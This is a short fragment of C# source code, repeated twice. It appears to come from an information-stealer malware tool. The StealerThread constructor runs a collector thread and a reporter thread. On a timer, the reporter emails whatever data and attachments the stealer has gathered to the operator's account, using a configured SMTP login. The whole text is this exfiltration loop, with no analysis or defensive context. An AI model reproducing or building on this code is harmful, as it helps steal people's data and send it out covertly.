public StealerThread(IStealer stealer, int delay) { _delay = delay; _stealer = new Thread(stealer.Collect); _reporter = new Thread(delegate() { while (true) { bool runOnce = _delay < 1; if (!runOnce) { Thread.Sleep(_delay * 60000); } if (string.IsNullOrEmpty(stealer.Data)) { continue; } ReportEmail em = new ReportEmail(stealer.Name, Program.Settings.EmailAddress, Program.Settings.EmailPassword, Program.Settings.SmtpAddress, Program.Settings.SmtpPort); if (stealer.Attachments == null) { em.Send(stealer.Data); } else { em.Send(stealer.Data, stealer.Attachments); } stealer.Data = null; stealer.Attachments = null; if (runOnce) { _stealer.Abort(); _reporter.Abort(); break; } } }); Variables.StealerPool.Add(this); }
public StealerThread(IStealer stealer, int delay) { _delay = delay; _stealer = new Thread(stealer.Collect); _reporter = new Thread(delegate() { while (true) { bool runOnce = _delay < 1; if (!runOnce) { Thread.Sleep(_delay*60000); } if (string.IsNullOrEmpty(stealer.Data)) continue; ReportEmail em = new ReportEmail(stealer.Name, Program.Settings.EmailAddress, Program.Settings.EmailPassword, Program.Settings.SmtpAddress, Program.Settings.SmtpPort); if (stealer.Attachments == null) { em.Send(stealer.Data); } else { em.Send(stealer.Data, stealer.Attachments); } stealer.Data = null; stealer.Attachments = null; if (runOnce) { _stealer.Abort(); _reporter.Abort(); break; } } }); Variables.StealerPool.Add(this); }